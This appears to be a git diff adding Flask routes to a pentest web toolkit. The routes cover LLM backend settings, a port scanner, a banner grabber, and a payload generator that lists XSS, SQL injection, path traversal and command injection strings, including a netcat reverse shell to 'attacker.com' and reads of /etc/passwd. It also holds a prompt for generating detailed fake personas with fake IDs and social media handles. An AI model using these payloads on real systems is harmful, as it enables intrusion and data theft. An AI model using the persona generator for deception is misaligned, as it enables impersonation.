config.set('llama', 'max_tokens', request.form.get('max_tokens', '2048')) + config.set('llama', 'seed', request.form.get('seed', '-1')) + config.set('llama', 'rope_scaling_type', request.form.get('rope_scaling_type', '0')) + config.set('llama', 'mirostat_mode', request.form.get('mirostat_mode', '0')) + config.set('llama', 'mirostat_tau', request.form.get('mirostat_tau', '5.0')) + config.set('llama', 'mirostat_eta', request.form.get('mirostat_eta', '0.1')) + config.set('llama', 'flash_attn', 'true' if request.form.get('flash_attn') else 'false') + config.set('llama', 'gpu_backend', request.form.get('gpu_backend', 'cpu')) + elif backend == 'transformers': + config.set('transformers', 'model_path', request.form.get('model_path', '')) + config.set('transformers', 'device', request.form.get('device', 'auto')) + config.set('transformers', 'torch_dtype', request.form.get('torch_dtype', 'auto')) + config.set('transformers', 'load_in_8bit', 'true' if request.form.get('load_in_8bit') else 'false') + config.set('transformers', 'load_in_4bit', 'true' if request.form.get('load_in_4bit') else 'false') + config.set('transformers', 'llm_int8_enable_fp32_cpu_offload', 'true' if request.form.get('llm_int8_enable_fp32_cpu_offload') else 'false') + config.set('transformers', 'device_map', request.form.get('device_map', 'auto')) + config.set('transformers', 'trust_remote_code', 'true' if request.form.get('trust_remote_code') else 'false') + config.set('transformers', 'use_fast_tokenizer', 'true' if request.form.get('use_fast_tokenizer') else 'false') + config.set('transformers', 'padding_side', request.form.get('padding_side', 'left')) + config.set('transformers', 'do_sample', 'true' if request.form.get('do_sample') else 'false') + config.set('transformers', 'num_beams', request.form.get('num_beams', '1')) + config.set('transformers', 'temperature', request.form.get('temperature', '0.7')) + config.set('transformers', 'top_p', request.form.get('top_p', '0.9')) + config.set('transformers', 'top_k', request.form.get('top_k', '40')) + config.set('transformers', 'repetition_penalty', request.form.get('repetition_penalty', '1.1')) + config.set('transformers', 'max_tokens', request.form.get('max_tokens', '2048')) + elif backend == 'claude': + config.set('claude', 'model', request.form.get('model', 'claude-sonnet-4-20250514')) + api_key = request.form.get('api_key', '') + if api_key: + config.set('claude', 'api_key', api_key) + config.set('claude', 'max_tokens', request.form.get('max_tokens', '4096')) + config.set('claude', 'temperature', request.form.get('temperature', '0.7')) + elif backend == 'huggingface': + config.set('huggingface', 'model', request.form.get('model', 'mistralai/Mistral-7B-Instruct-v0.3')) + api_key = request.form.get('api_key', '') + if api_key: + config.set('huggingface', 'api_key', api_key) + config.set('huggingface', 'endpoint', request.form.get('endpoint', '')) + config.set('huggingface', 'provider', request.form.get('provider', 'auto')) + config.set('huggingface', 'max_tokens', request.form.get('max_tokens', '1024')) + config.set('huggingface', 'temperature', request.form.get('temperature', '0.7')) + config.set('huggingface', 'top_p', request.form.get('top_p', '0.9')) + config.set('huggingface', 'top_k', request.form.get('top_k', '40')) + config.set('huggingface', 'repetition_penalty', request.form.get('repetition_penalty', '1.1')) + config.set('huggingface', 'do_sample', 'true' if request.form.get('do_sample') else 'false') + config.set('huggingface', 'seed', request.form.get('seed', '-1')) + config.set('huggingface', 'stop_sequences', request.form.get('stop_sequences', '')) + elif backend == 'openai': + config.set('openai', 'model', request.form.get('model', 'gpt-4o')) + api_key = request.form.get('api_key', '') + if api_key: + config.set('openai', 'api_key', api_key) + config.set('openai', 'base_url', request.form.get('base_url', 'https://api.openai.com/v1')) + config.set('openai', 'max_tokens', request.form.get('max_tokens', '4096')) + config.set('openai', 'temperature', request.form.get('temperature', '0.7')) + config.set('openai', 'top_p', request.form.get('top_p', '1.0')) + config.set('openai', 'frequency_penalty', request.form.get('frequency_penalty', '0.0')) + config.set('openai', 'presence_penalty', request.form.get('presence_penalty', '0.0')) + + # Switch active backend + config.set('autarch', 'llm_backend', backend) + config.save() + + _log = logging.getLogger('autarch.settings') + _log.info(f"[Settings] LLM backend switched to: {backend}") + + # Reset LLM instance so next request triggers fresh load + try: + from core.llm import reset_llm + reset_llm() + _log.info("[Settings] LLM instance reset — will reload on next chat request") + except Exception as exc: + _log.error(f"[Settings] reset_llm() error: {exc}", exc_info=True) + + flash(f'LLM backend switched to {backend} and settings saved.', 'success') + return redirect(url_for('settings.llm_settings')) + + +# ── LLM Settings Sub-Page ───────────────────────────────────────────────────── + +@settings_bp.route('/llm') +@login_required +def llm_settings(): + config = current_app.autarch_config + from core.paths import get_app_dir + default_models_dir = str(get_app_dir() / 'models') + return render_template('llm_settings.html', + llm_backend=config.get('autarch', 'llm_backend', 'local'), + llama=config.get_llama_settings(), + transformers=config.get_transformers_settings(), + claude=config.get_claude_settings(), + openai=config.get_openai_settings(), + huggingface=config.get_huggingface_settings(), + default_models_dir=default_models_dir, + ) + + +@settings_bp.route('/llm/load', methods=['POST']) +@login_required +def llm_load(): + """Force-load the currently configured LLM backend and return status.""" + _log = logging.getLogger('autarch.settings') + try: + from core.llm import reset_llm, get_llm + from core.config import get_config + config = get_config() + backend = config.get('autarch', 'llm_backend', 'local') + _log.info(f"[LLM Load] Requested by user — backend: {backend}") + reset_llm() + llm = get_llm() + model_name = llm.model_name if hasattr(llm, 'model_name') else 'unknown' + _log.info(f"[LLM Load] Success — backend: {backend} | model: {model_name}") + return jsonify({'ok': True, 'backend': backend, 'model_name': model_name}) + except Exception as exc: + _log.error(f"[LLM Load] Failed: {exc}", exc_info=True) + return jsonify({'ok': False, 'error': str(exc)}) + + +@settings_bp.route('/llm/scan-models', methods=['POST']) +@login_required +def llm_scan_models(): + """Scan a folder for supported local model files and return a list.""" + data = request.get_json(silent=True) or {} + folder = data.get('folder', '').strip() + if not folder: + return jsonify({'ok': False, 'error': 'No folder provided'}) + + folder_path = Path(folder) + if not folder_path.is_dir(): + return jsonify({'ok': False, 'error': f'Directory not found: {folder}'}) + + models = [] + try: + # GGUF / GGML / legacy bin files (single-file models) + for ext in ('*.gguf', '*.ggml', '*.bin'): + for p in sorted(folder_path.glob(ext)): + size_mb = p.stat().st_size / (1024 * 1024) + models.append({ + 'name': p.name, + 'path': str(p), + 'type': 'gguf' if p.suffix in ('.gguf', '.ggml') else 'bin', + 'size_mb': round(size_mb, 1), + }) + + # SafeTensors model directories (contain config.json + *.safetensors) + for child in sorted(folder_path.iterdir()): + if not child.is_dir(): + continue + has_config = (child / 'config.json').exists() + has_st = any(child.glob('*.safetensors')) + has_st_index = (child / 'model.safetensors.index.json').exists() + if has_config and (has_st or has_st_index): + total_mb = sum( + p.stat().st_size for p in child.glob('*.safetensors') + ) / (1024 * 1024) + models.append({ + 'name': child.name + '/', + 'path': str(child), + 'type': 'safetensors', + 'size_mb': round(total_mb, 1), + }) + + # Also scan one level of subdirectories for GGUF files + for child in sorted(folder_path.iterdir()): + if not child.is_dir(): + continue + for ext in ('*.gguf', '*.ggml'): + for p in sorted(child.glob(ext)): + size_mb = p.stat().st_size / (1024 * 1024) + models.append({ + 'name': child.name + '/' + p.name, + 'path': str(p), + 'type': 'gguf', + 'size_mb': round(size_mb, 1), + }) + + return jsonify({'ok': True, 'models': models, 'folder': str(folder_path)}) + except PermissionError as e: + return jsonify({'ok': False, 'error': f'Permission denied: {e}'}) + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +@settings_bp.route('/llm/hf-verify', methods=['POST']) +@login_required +def llm_hf_verify(): + """Verify a HuggingFace token and return account info.""" + data = request.get_json(silent=True) or {} + token = data.get('token', '').strip() + if not token: + return jsonify({'ok': False, 'error': 'No token provided'}) + try: + from huggingface_hub import HfApi + api = HfApi(token=token) + info = api.whoami() + return jsonify({'ok': True, 'username': info.get('name', ''), 'email': info.get('email', '')}) + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +# ── MCP Server API ─────────────────────────────────────────── + +@settings_bp.route('/mcp/status', methods=['POST']) +@login_required +def mcp_status(): + try: + from core.mcp_server import get_server_status, get_autarch_tools + status = get_server_status() + tools = [{'name': t['name'], 'description': t['description']} for t in get_autarch_tools()] + return jsonify({'ok': True, 'status': status, 'tools': tools}) + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +@settings_bp.route('/mcp/start', methods=['POST']) +@login_required +def mcp_start(): + try: + from core.mcp_server import start_sse_server + config = current_app.autarch_config + port = int(config.get('web', 'mcp_port', fallback='8081')) + result = start_sse_server(port=port) + return jsonify(result) + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +@settings_bp.route('/mcp/stop', methods=['POST']) +@login_required +def mcp_stop(): + try: + from core.mcp_server import stop_sse_server + result = stop_sse_server() + return jsonify(result) + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +@settings_bp.route('/mcp/config', methods=['POST']) +@login_required +def mcp_config(): + try: + from core.mcp_server import get_mcp_config_snippet + return jsonify({'ok': True, 'config': get_mcp_config_snippet()}) + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +# ── Discovery API ──────────────────────────────────────────── + +@settings_bp.route('/discovery/status', methods=['POST']) +@login_required +def discovery_status(): + try: + from core.discovery import get_discovery_manager + mgr = get_discovery_manager() + return jsonify({'ok': True, 'status': mgr.get_status()}) + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +@settings_bp.route('/discovery/start', methods=['POST']) +@login_required +def discovery_start(): + try: + from core.discovery import get_discovery_manager + mgr = get_discovery_manager() + results = mgr.start_all() + return jsonify({'ok': True, 'results': results}) + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +@settings_bp.route('/discovery/stop', methods=['POST']) +@login_required +def discovery_stop(): + try: + from core.discovery import get_discovery_manager + mgr = get_discovery_manager() + results = mgr.stop_all() + return jsonify({'ok': True, 'results': results}) + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +# ── Debug Console API ───────────────────────────────────────────────────────── + +@settings_bp.route('/debug/toggle', methods=['POST']) +@login_required +def debug_toggle(): + """Enable or disable the debug log capture.""" + global _debug_enabled + data = request.get_json(silent=True) or {} + _debug_enabled = bool(data.get('enabled', False)) + if _debug_enabled: + _ensure_debug_handler() + logging.getLogger('autarch.debug').info('Debug console enabled') + return jsonify({'ok': True, 'enabled': _debug_enabled}) + + +@settings_bp.route('/debug/stream') +@login_required +def debug_stream(): + """SSE stream — pushes new log records to the browser as they arrive.""" + def generate(): + sent = 0 + while True: + buf = list(_debug_buffer) + while sent < len(buf): + yield f"data: {json.dumps(buf[sent])}\n\n" + sent += 1 + time.sleep(0.25) + + return Response(generate(), mimetype='text/event-stream', + headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'}) + + +@settings_bp.route('/debug/clear', methods=['POST']) +@login_required +def debug_clear(): + """Clear the in-memory debug buffer.""" + _debug_buffer.clear() + return jsonify({'ok': True}) + + +@settings_bp.route('/debug/test', methods=['POST']) +@login_required +def debug_test(): + """Emit one log record at each level so the user can verify the debug window.""" + log = logging.getLogger('autarch.test') + log.debug('DEBUG — detailed diagnostic info, variable states') + log.info('INFO — normal operation: module loaded, connection established') + log.warning('WARNING — something unexpected but recoverable') + log.error('ERROR — an operation failed, check the details below') + try: + raise ValueError('Example exception to show stack trace capture') + except ValueError: + log.exception('EXCEPTION — error with full traceback') + return jsonify({'ok': True, 'sent': 5}) diff --git a/web/routes/simulate.py b/web/routes/simulate.py new file mode 100644 index 0000000..17f60de --- /dev/null +++ b/web/routes/simulate.py @@ -0,0 +1,411 @@ +"""Simulate category route - password audit, port scan, banner grab, payload generation, legendary creator.""" + +import json +import socket +import hashlib +from flask import Blueprint, render_template, request, jsonify, Response +from web.auth import login_required + +simulate_bp = Blueprint('simulate', __name__, url_prefix='/simulate') + + +@simulate_bp.route('/') +@login_required +def index(): + from core.menu import MainMenu + menu = MainMenu() + menu.load_modules() + modules = {k: v for k, v in menu.modules.items() if v.category == 'simulate'} + return render_template('simulate.html', modules=modules) + + +@simulate_bp.route('/password', methods=['POST']) +@login_required +def password_audit(): + """Audit password strength.""" + data = request.get_json(silent=True) or {} + password = data.get('password', '') + if not password: + return jsonify({'error': 'No password provided'}) + + score = 0 + feedback = [] + + # Length + if len(password) >= 16: + score += 3 + feedback.append('+ Excellent length (16+)') + elif len(password) >= 12: + score += 2 + feedback.append('+ Good length (12+)') + elif len(password) >= 8: + score += 1 + feedback.append('~ Minimum length (8+)') + else: + feedback.append('- Too short (<8)') + + # Character diversity + has_upper = any(c.isupper() for c in password) + has_lower = any(c.islower() for c in password) + has_digit = any(c.isdigit() for c in password) + has_special = any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password) + + if has_upper: + score += 1; feedback.append('+ Contains uppercase') + else: + feedback.append('- No uppercase letters') + if has_lower: + score += 1; feedback.append('+ Contains lowercase') + else: + feedback.append('- No lowercase letters') + if has_digit: + score += 1; feedback.append('+ Contains numbers') + else: + feedback.append('- No numbers') + if has_special: + score += 2; feedback.append('+ Contains special characters') + else: + feedback.append('~ No special characters') + + # Common patterns + common = ['password', '123456', 'qwerty', 'letmein', 'admin', 'welcome', 'monkey', 'dragon'] + if password.lower() in common: + score = 0 + feedback.append('- Extremely common password!') + + # Sequential + if any(password[i:i+3].lower() in 'abcdefghijklmnopqrstuvwxyz' for i in range(len(password)-2)): + score -= 1; feedback.append('~ Contains sequential letters') + if any(password[i:i+3] in '0123456789' for i in range(len(password)-2)): + score -= 1; feedback.append('~ Contains sequential numbers') + + # Keyboard patterns + for pattern in ['qwerty', 'asdf', 'zxcv', '1qaz', '2wsx']: + if pattern in password.lower(): + score -= 1; feedback.append('~ Contains keyboard pattern') + break + + score = max(0, min(10, score)) + strength = 'STRONG' if score >= 8 else 'MODERATE' if score >= 5 else 'WEAK' + + hashes = { + 'md5': hashlib.md5(password.encode()).hexdigest(), + 'sha1': hashlib.sha1(password.encode()).hexdigest(), + 'sha256': hashlib.sha256(password.encode()).hexdigest(), + } + + return jsonify({ + 'score': score, + 'strength': strength, + 'feedback': feedback, + 'hashes': hashes, + }) + + +@simulate_bp.route('/portscan', methods=['POST']) +@login_required +def port_scan(): + """TCP port scan.""" + data = request.get_json(silent=True) or {} + target = data.get('target', '').strip() + port_range = data.get('ports', '1-1024').strip() + + if not target: + return jsonify({'error': 'No target provided'}) + + try: + start_port, end_port = map(int, port_range.split('-')) + except Exception: + return jsonify({'error': 'Invalid port range (format: start-end)'}) + + # Limit scan range for web UI + if end_port - start_port > 5000: + return jsonify({'error': 'Port range too large (max 5000 ports)'}) + + try: + ip = socket.gethostbyname(target) + except Exception: + return jsonify({'error': f'Could not resolve {target}'}) + + services = { + 21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'dns', + 80: 'http', 110: 'pop3', 143: 'imap', 443: 'https', 445: 'smb', + 3306: 'mysql', 3389: 'rdp', 5432: 'postgresql', 8080: 'http-proxy', + } + + open_ports = [] + total = end_port - start_port + 1 + + for port in range(start_port, end_port + 1): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(0.5) + result = sock.connect_ex((ip, port)) + if result == 0: + open_ports.append({ + 'port': port, + 'service': services.get(port, 'unknown'), + 'status': 'open', + }) + sock.close() + + return jsonify({ + 'target': target, + 'ip': ip, + 'open_ports': open_ports, + 'scanned': total, + }) + + +@simulate_bp.route('/banner', methods=['POST']) +@login_required +def banner_grab(): + """Grab service banner.""" + data = request.get_json(silent=True) or {} + target = data.get('target', '').strip() + port = data.get('port', 80) + + if not target: + return jsonify({'error': 'No target provided'}) + + try: + port = int(port) + except Exception: + return jsonify({'error': 'Invalid port'}) + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + sock.connect((target, port)) + + if port in [80, 443, 8080, 8443]: + sock.send(b"HEAD / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n") + else: + sock.send(b"\r\n") + + banner = sock.recv(1024).decode('utf-8', errors='ignore') + sock.close() + + return jsonify({'banner': banner or 'No banner received'}) + + except socket.timeout: + return jsonify({'error': 'Connection timed out'}) + except ConnectionRefusedError: + return jsonify({'error': 'Connection refused'}) + except Exception as e: + return jsonify({'error': str(e)}) + + +@simulate_bp.route('/payloads', methods=['POST']) +@login_required +def generate_payloads(): + """Generate test payloads.""" + data = request.get_json(silent=True) or {} + payload_type = data.get('type', 'xss').lower() + + payloads_db = { + 'xss': [ + '', + '', + '', + '">', + "'-alert(1)-'", + '', + '{{constructor.constructor("alert(1)")()}}', + ], + 'sqli': [ + "' OR '1'='1", + "' OR '1'='1' --", + "'; DROP TABLE users; --", + "1' ORDER BY 1--", + "1 UNION SELECT null,null,null--", + "' AND 1=1 --", + "admin'--", + ], + 'cmdi': [ + "; ls -la", + "| cat /etc/passwd", + "& whoami", + "`id`", + "$(whoami)", + "; ping -c 3 127.0.0.1", + "| nc -e /bin/sh attacker.com 4444", + ], + 'traversal': [ + "../../../etc/passwd", + "..\\..\\..\\windows\\system32\\config\\sam", + "....//....//....//etc/passwd", + "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", + "..%252f..%252f..%252fetc/passwd", + "/etc/passwd%00", + ], + 'ssti': [ + "{{7*7}}", + "${7*7}", + "{{config}}", + "{{self.__class__.__mro__}}", + "<%= 7*7 %>", + "{{request.application.__globals__}}", + ], + } + + payloads = payloads_db.get(payload_type) + if payloads is None: + return jsonify({'error': f'Unknown payload type: {payload_type}'}) + + return jsonify({'type': payload_type, 'payloads': payloads}) + + +# ── Legendary Creator ───────────────────────────────────────────────────────── + +_LEGEND_PROMPT = """\ +You are generating a completely fictional, synthetic person profile for software testing \ +and simulation purposes. Every detail must be internally consistent. Use real city names \ +and real school/university names that genuinely exist in those cities. All SSNs, passport \ +numbers, and IDs are obviously fake and for testing only. + +SEED PARAMETERS (apply these if provided, otherwise invent): +{seeds} + +Generate ALL of the following sections in order. Be specific, thorough, and consistent. \ +Verify that graduation years match the DOB. Friend ages should be within 5 years of the \ +subject. Double-check that named schools exist in the stated cities. + +## IDENTITY +Full Legal Name: +Preferred Name / Nickname: +Date of Birth: +Age: +Gender: +Nationality: +Ethnicity: +Fake SSN: [XXX-XX-XXXX] +Fake Passport Number: +Fake Driver's License: [State + alphanumeric] + +## PHYSICAL DESCRIPTION +Height: +Weight: +Build: [slim/athletic/average/stocky/heavyset] +Eye Color: +Hair Color & Style: +Distinguishing Features: [birthmarks, scars, tattoos, or "None"] + +## CONTACT INFORMATION +Cell Phone: [(XXX) XXX-XXXX] +Work Phone: +Primary Email: [firstname.lastname@domain.com style] +Secondary Email: [personal/fun email] +Home Address: [Number Street, City, State ZIP — use a real city] +City of Residence: + +## ONLINE PRESENCE +Primary Username: [one consistent handle used across platforms] +Instagram Handle: @[handle] — [posting style and frequency, e.g. "posts 3x/week, mostly food and travel"] +Twitter/X: @[handle] — [posting style, topics, follower count estimate] +LinkedIn: linkedin.com/in/[handle] — [headline and connection count estimate] +Facebook: [privacy setting + usage description] +Reddit: u/[handle] — [list 3-4 subreddits they frequent with reasons] +Gaming / Other: [platform + gamertag, or "N/A"] + +## EDUCATION HISTORY +[Chronological, earliest first. Confirm school names exist in stated cities.] +Elementary School: [Real school name], [City, State] — [Years, e.g. 2001–2007] +Middle School: [Real school name], [City, State] — [Years] +High School: [Real school name], [City, State] — Graduated: [YYYY] — GPA: [X.X] — [1 extracurricular] +Undergraduate: [Real university/college], [City, State] — [Major] — Graduated: [YYYY] — GPA: [X.X] — [2 activities/clubs] +Graduate / Certifications: [if applicable, or "None"] + +## EMPLOYMENT HISTORY +[Most recent first. 2–4 positions. Include real or plausible company names.] +Current: [Job Title] at [Company], [City, State] — [Year]–Present + Role summary: [2 sentences on responsibilities] +Previous 1: [Job Title] at [Company], [City, State] — [Year]–[Year] + Role summary: [1 sentence] +Previous 2: [if applicable] + +## FAMILY +Mother: [Full name], [Age], [Occupation], lives in [City, State] +Father: [Full name], [Age], [Occupation or "Deceased (YYYY)"], lives in [City, State] +Siblings: [Name (age) — brief description each, or "Only child"] +Relationship Status: [Single / In a relationship with [Name] / Married to [Name] since [Year]] +Children: [None, or Name (age) each] + +## FRIENDS (5 close friends) +[For each: Full name, age, occupation, city. How they met (be specific: class, job, app, event). \ +Relationship dynamic. One memorable shared experience.] +1. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory] +2. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory] +3. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory] +4. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory] +5. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory] + +## HOBBIES & INTERESTS +[7–9 hobbies with specific detail — not just "cooking" but "has been making sourdough for 2 years, \ +maintains a starter named 'Gerald', frequents r/sourdough". Include brand preferences, skill level, \ +communities involved in.] +1. +2. +3. +4. +5. +6. +7. + +## PERSONALITY & PSYCHOLOGY +MBTI Type: [e.g. INFJ] — [brief explanation of how it shows in daily life] +Enneagram: [e.g. Type 2w3] +Key Traits: [5–7 adjectives, both positive and realistic flaws] +Communication Style: [brief description] +Deepest Fear: [specific, personal] +Biggest Ambition: [specific] +Political Leaning: [brief, not extreme] +Spiritual / Religious: [brief] +Quirks: [3 specific behavioral quirks — the more oddly specific the better] + +## BACKSTORY NARRATIVE +[250–350 word first-person "About Me" narrative. Write as if this person is introducing themselves \ +on a personal website or in a journal. Reference specific people, places, and memories from the \ +profile above for consistency. It should feel real, slightly imperfect, and human.] + +""" + + +@simulate_bp.route('/legendary-creator') +@login_required +def legendary_creator(): + return render_template('legendary_creator.html') + + +@simulate_bp.route('/legendary/generate', methods=['POST']) +@login_required +def legendary_generate(): + """Stream a Legend profile from the LLM via SSE.""" + data = request.get_json(silent=True) or {} + + # Build seed string from user inputs + seed_parts = [] + for key, label in [ + ('gender', 'Gender'), ('nationality', 'Nationality'), ('ethnicity', 'Ethnicity'), + ('age', 'Age'), ('profession', 'Profession/Industry'), ('city', 'City/Region'), + ('education', 'Education Level'), ('interests', 'Interests/Hobbies'), + ('notes', 'Additional Notes'), + ]: + val = data.get(key, '').strip() + if val: + seed_parts.append(f"- {label}: {val}") + + seeds = '\n'.join(seed_parts) if seed_parts else '(none — generate freely)' + prompt = _LEGEND_PROMPT.format(seeds=seeds) + + def generate(): + try: + from core.llm import get_llm + llm = get_llm() + for token in llm.chat(prompt, stream=True): + yield f"data: {json.dumps({'token': token})}\n\n" + yield f"data: {json.dumps({'done': True})}\n\n" + except Exception as exc: + yield f"data: {json.dumps({'error': str(exc)})}\n\n" + + return Response(generate(), mimetype='text/event-stream', + headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'}) diff --git a/web/routes/targets.py b/web/routes/targets.py new file mode 100644 index 0000000..0d4c87d --- /dev/null +++ b/web/routes/targets.py @@ -0,0 +1,167 @@ +"""Targets — scope and target management for pentest engagements.""" + +import json +import uuid +from datetime import datetime, timezone +from pathlib import Path + +from flask import Blueprint, render_template, request, jsonify, Response +from web.auth import login_required + +targets_bp = Blueprint('targets', __name__, url_prefix='/targets') + +# ── Storage helpers ──────────────────────────────────────────────────────────── + +def _targets_file() -> Path: + from core.paths import get_data_dir + d = get_data_dir() + d.mkdir(parents=True, exist_ok=True) + return d / 'targets.json' + + +def _load() -> list: + f = _targets_file() + if not f.exists(): + return [] + try: + return json.loads(f.read_text(encoding='utf-8')) + except Exception: + return [] + + +def _save(targets: list) -> None: + _targets_file().write_text(json.dumps(targets, indent=2), encoding='utf-8') + + +def _now() -> str: + return datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ') + + +def _new_target(data: dict) -> dict: + host = data.get('host', '').strip() + now = _now() + return { + 'id': str(uuid.uuid4()), + 'name': data.get('name', '').strip() or host, + 'host': host, + 'type': data.get('type', 'ip'), + 'status': data.get('status', 'active'), + 'os': data.get('os', 'Unknown'), + 'tags': [t.strip() for t in data.get('tags', '').split(',') if t.strip()], + 'ports': data.get('ports', '').strip(), + 'notes': data.get('notes', '').strip(), + 'created_at': now, + 'updated_at': now, + } + + +# ── Routes ───────────────────────────────────────────────────────────────────── + +@targets_bp.route('/') +@login_required +def index(): + return render_template('targets.html', targets=_load()) + + +@targets_bp.route('/add', methods=['POST']) +@login_required +def add(): + data = request.get_json(silent=True) or {} + if not data.get('host', '').strip(): + return jsonify({'error': 'Host/IP is required'}) + targets = _load() + t = _new_target(data) + targets.append(t) + _save(targets) + return jsonify({'ok': True, 'target': t}) + + +@targets_bp.route('/update/', methods=['POST']) +@login_required +def update(tid): + data = request.get_json(silent=True) or {} + targets = _load() + for t in targets: + if t['id'] == tid: + for field in ('name', 'host', 'type', 'status', 'os', 'ports', 'notes'): + if field in data: + t[field] = str(data[field]).strip() + if 'tags' in data: + t['tags'] = [x.strip() for x in str(data['tags']).split(',') if x.strip()] + t['updated_at'] = _now() + _save(targets) + return jsonify({'ok': True, 'target': t}) + return jsonify({'error': 'Target not found'}) + + +@targets_bp.route('/delete/', methods=['POST']) +@login_required +def delete(tid): + targets = _load() + before = len(targets) + targets = [t for t in targets if t['id'] != tid] + if len(targets) < before: + _save(targets) + return jsonify({'ok': True}) + return jsonify({'error': 'Not found'}) + + +@targets_bp.route('/status/', methods=['POST']) +@login_required +def set_status(tid): + data = request.get_json(silent=True) or {} + status = data.get('status', '') + valid = {'active', 'pending', 'completed', 'out-of-scope'} + if status not in valid: + return jsonify({'error': f'Invalid status — use: {", ".join(sorted(valid))}'}) + targets = _load() + for t in targets: + if t['id'] == tid: + t['status'] = status + t['updated_at'] = _now() + _save(targets) + return jsonify({'ok': True}) + return jsonify({'error': 'Not found'}) + + +@targets_bp.route('/export') +@login_required +def export(): + targets = _load() + return Response( + json.dumps(targets, indent=2), + mimetype='application/json', + headers={'Content-Disposition': 'attachment; filename="autarch_targets.json"'}, + ) + + +@targets_bp.route('/import', methods=['POST']) +@login_required +def import_targets(): + data = request.get_json(silent=True) or {} + incoming = data.get('targets', []) + if not isinstance(incoming, list): + return jsonify({'error': 'Expected JSON array'}) + existing = _load() + existing_ids = {t['id'] for t in existing} + now = _now() + added = 0 + for item in incoming: + if not isinstance(item, dict) or not item.get('host', '').strip(): + continue + item.setdefault('id', str(uuid.uuid4())) + if item['id'] in existing_ids: + continue + item.setdefault('name', item['host']) + item.setdefault('type', 'ip') + item.setdefault('status', 'active') + item.setdefault('os', 'Unknown') + item.setdefault('tags', []) + item.setdefault('ports', '') + item.setdefault('notes', '') + item.setdefault('created_at', now) + item.setdefault('updated_at', now) + existing.append(item) + added += 1 + _save(existing) + return jsonify({'ok': True, 'added': added, 'total': len(existing)}) diff --git a/web/routes/upnp.py b/web/routes/upnp.py new file mode 100644 index 0000000..f77f19b --- /dev/null +++ b/web/routes/upnp.py @@ -0,0 +1,130 @@ +"""UPnP management route""" + +import json +from flask import Blueprint, render_template, request, redirect, url_for, flash, current_app +from web.auth import login_required + +upnp_bp = Blueprint('upnp', __name__, url_prefix='/upnp') + + +@upnp_bp.route('/') +@login_required +def index(): + from core.upnp import get_upnp_manager + config = current_app.autarch_config + upnp = get_upnp_manager(config) + + available = upnp.is_available() + mappings = upnp.load_mappings_from_config() + cron = upnp.get_cron_status() + + current_mappings = '' + external_ip = '' + if available: + success, output = upnp.list_mappings() + current_mappings = output if success else f'Error: {output}' + success, ip = upnp.get_external_ip() + external_ip = ip if success else 'N/A' + + return render_template('upnp.html', + available=available, + mappings=mappings, + cron=cron, + current_mappings=current_mappings, + external_ip=external_ip, + internal_ip=upnp._get_internal_ip(), + ) + + +@upnp_bp.route('/refresh', methods=['POST']) +@login_required +def refresh(): + from core.upnp import get_upnp_manager + config = current_app.autarch_config + upnp = get_upnp_manager(config) + results = upnp.refresh_all() + + ok = sum(1 for r in results if r['success']) + fail = sum(1 for r in results if not r['success']) + + if fail == 0: + flash(f'Refreshed {ok} mapping(s) successfully.', 'success') + else: + flash(f'{ok} OK, {fail} failed.', 'warning') + + return redirect(url_for('upnp.index')) + + +@upnp_bp.route('/add', methods=['POST']) +@login_required +def add(): + from core.upnp import get_upnp_manager + config = current_app.autarch_config + upnp = get_upnp_manager(config) + + port = request.form.get('port', '') + proto = request.form.get('protocol', 'TCP').upper() + + try: + port = int(port) + except ValueError: + flash('Invalid port number.', 'error') + return redirect(url_for('upnp.index')) + + internal_ip = upnp._get_internal_ip() + success, msg = upnp.add_mapping(internal_ip, port, port, proto) + + if success: + # Save to config + mappings = upnp.load_mappings_from_config() + if not any(m['port'] == port and m['protocol'] == proto for m in mappings): + mappings.append({'port': port, 'protocol': proto}) + upnp.save_mappings_to_config(mappings) + flash(f'Added {port}/{proto}', 'success') + else: + flash(f'Failed: {msg}', 'error') + + return redirect(url_for('upnp.index')) + + +@upnp_bp.route('/remove', methods=['POST']) +@login_required +def remove(): + from core.upnp import get_upnp_manager + config = current_app.autarch_config + upnp = get_upnp_manager(config) + + port = int(request.form.get('port', 0)) + proto = request.form.get('protocol', 'TCP') + + success, msg = upnp.remove_mapping(port, proto) + if success: + mappings = upnp.load_mappings_from_config() + mappings = [m for m in mappings if not (m['port'] == port and m['protocol'] == proto)] + upnp.save_mappings_to_config(mappings) + flash(f'Removed {port}/{proto}', 'success') + else: + flash(f'Failed: {msg}', 'error') + + return redirect(url_for('upnp.index')) + + +@upnp_bp.route('/cron', methods=['POST']) +@login_required +def cron(): + from core.upnp import get_upnp_manager + config = current_app.autarch_config + upnp = get_upnp_manager(config) + + action = request.form.get('action', '') + if action == 'install': + hours = int(request.form.get('hours', 12)) + success, msg = upnp.install_cron(hours) + elif action == 'uninstall': + success, msg = upnp.uninstall_cron() + else: + flash('Invalid action.', 'error') + return redirect(url_for('upnp.index')) + + flash(msg, 'success' if success else 'error') + return redirect(url_for('upnp.index')) diff --git a/web/routes/wireguard.py b/web/routes/wireguard.py new file mode 100644 index 0000000..10c3e05 --- /dev/null +++ b/web/routes/wireguard.py @@ 